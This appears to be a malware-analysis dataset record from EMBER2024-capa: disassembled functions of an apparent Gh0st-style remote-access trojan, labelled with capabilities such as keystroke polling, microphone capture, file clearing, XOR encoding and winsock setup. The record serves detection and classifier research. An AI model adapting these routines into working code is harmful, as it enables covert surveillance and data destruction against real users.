joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10057087
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
movzx eax, byte [ebp + 8]
test eax, eax
je 0x10057125
lea eax, [ebp + 0x18]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x10057102
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 8]
mov dword [eax], 0
jmp 0x100570e3
mov eax, dword [ebp - 8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
mov eax, dword [ebp - 8]
cmp dword [eax], 4
jge 0x10057100
mov eax, dword [ebp - 8]
push dword [eax]
mov ecx, dword [ebp - 0x24]
call fcn.100267ee
mov dword [eax], 0xe57bf5cd
jmp 0x100570d8
jmp 0x10057120
mov byte [ebp - 1], 0
push 1
push 0x4356
push 0x287b
push 0
lea eax, [ebp - 1]
push eax
call fcn.10051e2f
add esp, 0x14
jmp 0x100571b2
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x38], eax
lea eax, [ebp + 0x20]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
movzx eax, byte [eax]
test eax, eax
je 0x10057167
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
movzx eax, byte [eax]
test eax, eax
je 0x10057165
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
jmp 0x100571b2
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0xc]
mov dword [eax], 0
jmp 0x10057195
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xc]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc]
cmp dword [eax], 3
jge 0x100571b2
mov eax, dword [ebp - 0xc]
push dword [eax]
mov ecx, dword [ebp - 0x48]
call fcn.100267ee
mov dword [eax], 0xeab1a690
jmp 0x1005718a
mov esp, ebp
pop ebp
ret
Function at 0x100585d1
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x100586e7
lea eax, [ebp + 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax]
test eax, eax
je 0x100586db
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x10], 0x52aa
mov dword [ebp - 0x28], 0x1000dd10
cmp dword [ebp - 0x10], 0x568c
jle 0x10058693
push 0
call dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
and dword [ebp - 4], 0
jmp 0x1005862f
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x36ce
jge 0x10058689
and dword [ebp - 8], 0
jmp 0x10058645
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x1a34
jge 0x10058687
mov eax, dword [ebp - 4]
xor eax, dword [ebp - 8]
cdq
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
push dword [ebp - 0x34]
push dword [ebp - 0x38]
lea ecx, [ebp - 0x50]
call fcn.100127de
pop ecx
pop ecx
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
call fcn.10026416
push eax
call fcn.10079103
pop ecx
lea ecx, [ebp - 0x50]
call fcn.1002640c
jmp 0x1005863e
jmp 0x10058628
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0x10], 0x4f7a
jge 0x100586ab
push dword [ebp - 0x28]
call fcn.10079103
pop ecx
mov eax, dword [ebp - 0xc]
mov dword [eax], 3
jmp 0x100586c1
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0xc]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc]
cmp dword [eax], 0
jl 0x100586d9
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
jmp 0x100586b6
jmp 0x100586e5
push 0
push 0
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
jmp 0x1005870d
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
push 1
push 0x6897
push dword [ebp - 0x2c]
push 0x71e8
push dword [ebp - 0x30]
call fcn.100532a8
add esp, 0x14
mov esp, ebp
pop ebp
ret
Function at 0x10069833
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1006995b
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x24], eax
lea eax, [ebp + 8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax]
test eax, eax
je 0x10069890
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
movzx eax, byte [eax]
test eax, eax
je 0x1006988b
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
jmp 0x10069959
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x10], 0x30a1
mov dword [ebp - 0x30], 0x1000f92c
cmp dword [ebp - 0x10], 0x32df
jle 0x10069900
and dword [ebp - 4], 0
jmp 0x100698c0
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xc84
jge 0x10069900
and dword [ebp - 8], 0
jmp 0x100698d6
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x3017
jge 0x100698fe
mov eax, dword [ebp - 4]
add eax, dword [ebp - 8]
cdq
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
push dword [ebp - 0x44]
push dword [ebp - 0x48]
mov ecx, 0x10094c18
call fcn.10026436
jmp 0x100698cf
jmp 0x100698b9
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0x10], 0x2cee
jge 0x1006991c
mov edx, dword [ebp - 0x30]
mov ecx, 0x10094c18
call fcn.10029186
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0xc]
mov dword [eax], 0
jmp 0x10069938
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xc]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc]
cmp dword [eax], 2
jg 0x10069959
push dword [ebp - 0x38]
push 0x7962
push 0
push 0x6ce
call fcn.10071a12
add esp, 0x10
jmp 0x1006992d
jmp 0x10069977
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x3c], eax
push dword [ebp - 0x3c]
push 0
push dword [ebp - 0x40]
call fcn.100591bb
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x1006c0d4
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov dword [ebp - 0x14], 0x6abc
mov dword [ebp - 0x34], 0x10010028
cmp dword [ebp - 0x14], 0x6b6f
jle 0x1006c179
and dword [ebp - 0x10], 0
jmp 0x1006c102
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x6f4b
jge 0x1006c179
and dword [ebp - 8], 0
jmp 0x1006c118
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x582e
jge 0x1006c177
and dword [ebp - 0xc], 0
jmp 0x1006c12e
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x4431
jge 0x1006c175
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
shl eax, cl
and eax, dword [ebp - 0x10]
cdq
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x54]
call fcn.100127de
pop ecx
pop ecx
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
call fcn.10026416
push eax
call fcn.10079103
pop ecx
lea ecx, [ebp - 0x54]
call fcn.1002640c
jmp 0x1006c127
jmp 0x1006c111
jmp 0x1006c0fb
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x1006c1d2
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x20], eax
lea eax, [ebp + 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
movzx eax, byte [eax]
test eax, eax
je 0x1006c1b2
mov byte [ebp - 1], 0
push 1
lea eax, [ebp - 1]
push eax
push 0x3ac3
push 1
call fcn.1006a43b
add esp, 0x10
jmp 0x1006c1d0
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
movzx eax, byte [eax]
test eax, eax
je 0x1006c1d0
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
jmp 0x1006c1ee
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x2c], eax
push dword [ebp - 0x2c]
push 0
push dword [ebp - 0x30]
call fcn.1005db5d
add esp, 0xc
cmp dword [ebp - 0x14], 0x6921
jge 0x1006c200
push dword [ebp - 0x34]
call fcn.10079103
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x10075461
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0x1c], edx
mov byte [ebp - 4], cl
push ebx
push esi
push edi
test cl, cl
je 0x100754fb
mov dword [ebp - 0x10], 0x7b5c6eff
xor esi, esi
mov dword [ebp - 8], 0xe780ca9f
inc esi
mov dword [ebp - 8], 0xfffffffe
mov dword [ebp - 8], 0x9e843631
mov dword [ebp - 0xc], 3
mov dword [ebp - 8], 0
jmp 0x100754b5
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x14], 0x58d32ffa
inc dword [ebp - 8]
cmp dword [ebp - 8], esi
jl 0x100754a7
mov eax, dword [ebp - 0x10]
mov edi, 0xe76f5020
mov dword [ebp - 0x14], edi
xor ecx, ecx
mov dword [ebp - 8], esi
mov eax, dword [ebp - 8]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
cmp eax, 0x2fafd11d
setne cl
xor edx, edx
cmp ecx, 0x58fb
setl dl
xor eax, eax
cmp edx, edi
setle al
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
jmp 0x10075652
mov dword [ebp - 8], 0x7112
cmp dword [ebp - 8], 0x71f8
push 0
pop edi
jle 0x10075537
mov esi, edi
mov ebx, edi
mov ecx, ebx
mov eax, esi
shl eax, cl
mov ecx, 0x10094c18
cdq
push edx
push eax
call fcn.10026436
inc ebx
cmp ebx, 0x2f3d
jl 0x10075512
inc esi
cmp esi, 0x2780
jl 0x10075510
cmp dword [ebp - 8], 0x6e6d
jge 0x1007554f
mov edx, 0x100110b0
mov ecx, 0x10094c18
call fcn.10029186
mov dword [ebp - 0x10], 0xbe9
cmp dword [ebp - 0x10], 0xfc1
jle 0x100755c1
push edi
push edi
push edi
call dword [sym.imp.USER32.dll_CheckMenuItem]
mov ebx, edi
mov dword [ebp - 8], edi
mov esi, edi
mov edi, dword [ebp - 8]
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 8], 0x7fe7
mov ecx, esi
mov eax, edi
shl eax, cl
mov ecx, 0x10094c18
xor eax, ebx
cdq
push edx
push eax
call fcn.10026436
dec esi
dec dword [ebp - 8]
jne 0x1007557f
mov esi, dword [ebp - 0xc]
inc esi
mov dword [ebp - 0xc], esi
cmp esi, 0x434
jl 0x10075575
inc edi
push 0
mov dword [ebp - 8], edi
cmp edi, 0x6686
pop edi
jl 0x1007556d
inc ebx
cmp ebx, 0x4c33
jl 0x1007556a
cmp dword [ebp - 0x10], 0x880
jge 0x100755d9
mov edx, 0x10011114
mov ecx, 0x10094c18
call fcn.10029186
mov esi, dword [ebp + 0x24]
xor edx, edx
mov ecx, dword [ebp + 0x20]
mov ebx, dword [ebp + 0x14]
push 1
mov eax, dword [esi]
mov eax, dword [esi]
mov dword [ecx], eax
mov ecx, dword [ecx]
mov eax, dword [esi]
cmp ecx, eax
mov eax, dword [esi]
sete dl
xor ecx, ecx
cmp eax, 0xffffffff
mov eax, dword [ebp + 8]
pop esi
sete cl
add ecx, edx
mov dword [eax], ecx
mov eax, dword [eax]
cmp dword [ebx], edi
jne 0x10075616
mov eax, dword [ebp + 0x18]
mov edx, edi
cmp dword [eax], edi
je 0x10075618
mov edx, esi
mov eax, dword [ebx]
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
test ecx, ecx
setg al
xor edx, edx
imul ecx, eax, 0x6088
mov eax, dword [ebx]
cmp ecx, eax
mov eax, dword [ebp + 0x18]
setg dl
mov eax, dword [eax]
add eax, edx
mov dword [ebx], eax
cmp dword [ebx], edi
jne 0x1007564b
mov eax, dword [ebp + 0xc]
cmp dword [eax], edi
je 0x1007564d
mov edi, esi
mov eax, dword [ebp - 0x1c]
mov dword [eax], edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100756de
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
push ebx
push esi
push edi
mov edi, ecx
test dl, dl
je 0x10075849
cmp byte [ebp + 0x10], 0
je 0x100757da
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0xffffffff
push eax
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0x1e6e2bfb
push eax
push ecx
lea eax, [esp + 0x18]
xor ebx, ebx
push eax
lea eax, [esp + 0x20]
inc ebx
push eax
mov dword [esp + 0x28], ebx
lea eax, [esp + 0x38]
push ecx
mov dword [esp + 0x28], ebx
lea edx, [esp + 0x34]
mov dword [esp + 0x24], 0x6df7e441
xor cl, cl
push eax
mov dword [esp + 0x40], 0xffffffff
lea eax, [esp + 0x30]
mov dword [esp + 0x38], ebx
mov dword [esp + 0x50], ebx
push eax
call fcn.10075461
add esp, 0x20
mov dword [esp + 0xc], 0xffffffe5
cmp dword [esp + 0xc], 0xc
je 0x100757cd
xor esi, esi
lea eax, [esp + 0x2c]
mov dword [esp + 0x30], 0xfffffffa
push eax
lea eax, [esp + 0x14]
mov dword [esp + 0x30], 3
push eax
push 0x537
lea eax, [esp + 0x20]
mov dl, bl
push eax
lea eax, [esp + 0x40]
push eax
push ebx
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x50]
push eax
lea eax, [esp + 0x3c]
push eax
push esi
lea eax, [esp + 0x48]
push eax
push 0x37b5
lea ecx, [esp + 0x54]
call fcn.100756de
add esp, 0x30
inc dword [esp + 0xc]
cmp dword [esp + 0xc], 0xc
jne 0x10075770
mov dword [esp + 0x34], 0x100946ac
jmp 0x100758d5
mov eax, dword [ebp + 0x18]
xor esi, esi
mov ecx, dword [ebp + 0x24]
mov edx, dword [ebp + 0x14]
push 1
pop ebx
cmp dword [eax], esi
je 0x10075816
cmp dword [ecx], esi
je 0x10075800
mov eax, dword [ecx]
mov eax, dword [ebp + 0x1c]
mov eax, dword [eax]
cmp dword [ecx], ebx
jne 0x10075800
mov eax, dword [ebp + 0x30]
mov eax, dword [eax]
mov eax, dword [ebp + 0x28]
mov eax, dword [eax]
mov eax, dword [edx]
cmp dword [edi], 0x774d
je 0x10075814
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov eax, dword [ecx]
mov eax, dword [edi]
mov eax, dword [ebp + 0x30]
mov eax, dword [eax]
mov eax, dword [ecx]
mov eax, dword [ecx]
mov eax, dword [ecx]
mov eax, dword [ebp + 0x28]
mov eax, dword [eax]
mov eax, dword [ebp + 0x18]
imul eax, dword [eax], 0x109d
test eax, eax
jne 0x10075839
cmp dword [edx], esi
je 0x1007583b
mov esi, ebx
mov ecx, dword [ecx]
mov eax, dword [ebp + 0x34]
sub ecx, esi
mov dword [eax], ecx
jmp 0x100758d5
cmp byte [ebp + 0x20], 0
je 0x100758c9
mov dword [esp + 0x28], 0x65c
cmp dword [esp + 0x28], 0x820
jle 0x100758a5
xor esi, esi
push esi
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov edi, esi
mov ebx, esi
mov dword [esp + 0x34], esi
mov eax, ebx
mov ecx, 0x10094c18
cdq
idiv esi
lea eax, [edi + edx]
cdq
push edx
push eax
call fcn.10026436
inc esi
cmp esi, 0x44e
jl 0x10075872
inc ebx
push 0
pop esi
cmp ebx, 0x7a90
jl 0x1007586e
inc edi
cmp edi, 0x2dbc
jl 0x1007586c
mov eax, dword [ebp + 8]
mov eax, dword [eax]
or dword [eax + 8], 0xffffffff
cmp dword [esp + 0x28], 0x2af
jge 0x100758d5
mov edx, 0x1001119c
mov ecx, 0x10094c18
call fcn.10029186
jmp 0x100758d5
mov eax, dword [ebp + 0x2c]
push dword [eax + 4]
call fcn.100792d9
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100895af
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10093750]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.1007c7c8
mov dword [ebp - 0x14], eax
cmp dword [0x10095c74], esi
jne 0x100896a2
push 0x800
push esi
push 0x1000675c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x1008962f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x10089782
push esi
push esi
push 0x1000675c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x10089782
push 0x10006774
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10089782
push eax
call ebx
push 0x10006780
push edi
mov dword [0x10095c74], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10006790
push edi
mov dword [0x10095c78], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x100067a4
push edi
mov dword [0x10095c7c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10095c84], eax
test eax, eax
je 0x1008969f
push 0x100067c0
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10095c80], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x100896c7
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x100896ba
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x100896dc
push 4
pop eax
jmp 0x10089784
cmp dword [ebp - 0x14], esi
je 0x100896dc
push dword [0x10095c74]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x100896c1
mov eax, dword [0x10095c80]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x1008973a
cmp dword [0x10095c84], edi
je 0x1008973a
push eax
call ebx
push dword [0x10095c84]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x1008973a
test eax, eax
je 0x1008973a
call ecx
test eax, eax
je 0x1008972f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x1008972f
test byte [ebp - 8], 1
jne 0x1008973a
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x1008976a
mov eax, dword [0x10095c78]
cmp eax, edi
je 0x10089767
push eax
call ebx
test eax, eax
je 0x10089767
call eax
mov esi, eax
test esi, esi
je 0x10089767
mov eax, dword [0x10095c7c]
cmp eax, edi
je 0x10089767
push eax
call ebx
test eax, eax
je 0x10089767
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x10095c74]
call ebx
test eax, eax
je 0x10089782
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x10089784
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10079cda
mov esp, ebp
pop ebp
ret
Function at 0x100010f0
Capabilities:
Terminate thread

Disassembly:
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov al, byte [esi + 0x44]
mov dword [esi], 0x100134c0
test al, al
je 0x1000114c
mov eax, dword [esi + 0x18]
push eax
call dword [sym.imp.WINMM.dll_waveInStop]
mov ecx, dword [esi + 0x18]
push ecx
call dword [sym.imp.WINMM.dll_waveInReset]
mov ebp, dword [sym.imp.WINMM.dll_waveInUnprepareHeader]
lea edi, [esi + 0x30]
mov ebx, 2
mov edx, dword [edi]
mov eax, dword [esi + 0x18]
push 0x20
push edx
push eax
call ebp
add edi, 4
dec ebx
jne 0x10001125
mov ecx, dword [esi + 0x18]
push ecx
call dword [sym.imp.WINMM.dll_waveInClose]
mov edx, dword [esi + 0x2c]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov al, byte [esi + 0x45]
test al, al
je 0x10001186
mov eax, dword [esi + 0x40]
push eax
call dword [sym.imp.WINMM.dll_waveOutReset]
mov ebp, dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
lea edi, [esi + 0x30]
mov ebx, 2
mov ecx, dword [edi]
mov edx, dword [esi + 0x40]
push 0x20
push ecx
push edx
call ebp
add edi, 4
dec ebx
jne 0x1000116b
mov eax, dword [esi + 0x40]
push eax
call dword [sym.imp.WINMM.dll_waveOutClose]
lea edi, [esi + 0x30]
mov ebx, 2
mov ecx, dword [edi - 0x28]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov edx, dword [edi]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [edi - 0x20]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ecx, dword [edi + 8]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0x10
add edi, 4
dec ebx
jne 0x1000118e
mov edx, dword [esi + 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [esi + 0x28]
push eax
call edi
mov ecx, dword [esi + 0x2c]
push ecx
call edi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x100012c0
Capabilities:
Capture microphone audio
Create thread
Resume thread

Disassembly:
push ecx
push ebx
push edi
mov edi, ecx
call dword [sym.imp.WINMM.dll_waveInGetNumDevs]
test eax, eax
jne 0x100012d5
pop edi
xor al, al
pop ebx
pop ecx
ret
lea eax, [esp + 8]
mov dword [esp + 8], 0
push eax
push 4
push edi
push 0x10001430
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 8]
push 0x20000
push 0
lea edx, [edi + 0x46]
push ecx
lea ebx, [edi + 0x18]
push edx
push 0xffff
push ebx
mov dword [edi + 0x2c], eax
call dword [sym.imp.WINMM.dll_waveInOpen]
test eax, eax
je 0x10001320
pop edi
xor al, al
pop ebx
pop ecx
ret
push ebp
push esi
lea esi, [edi + 0x30]
mov ebp, 2
mov eax, dword [esi]
mov ecx, dword [esi - 0x28]
push 0x20
mov dword [eax], ecx
mov edx, dword [esi]
mov eax, dword [edi + 4]
mov dword [edx + 4], eax
mov ecx, dword [esi]
xor eax, eax
mov dword [ecx + 0x10], eax
mov edx, dword [esi]
mov dword [edx + 0x14], eax
mov eax, dword [esi]
mov ecx, dword [ebx]
push eax
push ecx
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
add esi, 4
dec ebp
jne 0x1000132a
mov edx, dword [edi + 0x1c]
mov ecx, dword [ebx]
push 0x20
mov eax, dword [edi + edx*4 + 0x30]
push eax
push ecx
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
mov edx, dword [edi + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [ebx]
push eax
call dword [sym.imp.WINMM.dll_waveInStart]
mov al, 1
pop esi
mov byte [edi + 0x44], al
pop ebp
pop edi
pop ebx
pop ecx
ret

Function at 0x10001b80
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x100129ca
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x198
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
lea ecx, [esi + 4]
call fcn.100017a0
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1a8], 0
call fcn.100017a0
lea ecx, [esi + 0x54]
mov byte [esp + 0x1a8], 1
call fcn.100017a0
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1a8], 2
call fcn.100017a0
lea eax, [esp + 0x10]
mov dword [esi], 0x100134d8
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call edi
add esp, 4
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0x30
mov dword [esi + 0xac], eax
call edi
mov byte [esp + 0xc], 0x47
mov byte [esp + 0xd], 0x68
mov byte [esp + 0xe], 0x30
mov byte [esp + 0xf], 0x73
mov edx, dword [esp + 0xc]
lea ecx, [esi + 0xb0]
mov al, 0x74
add esp, 4
mov dword [ecx], edx
mov byte [esi + 0xb5], 0
mov dword [esi + 0xa8], 0xffffffff
pop edi
mov byte [ecx + 4], al
mov ecx, dword [esp + 0x19c]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x1a4
ret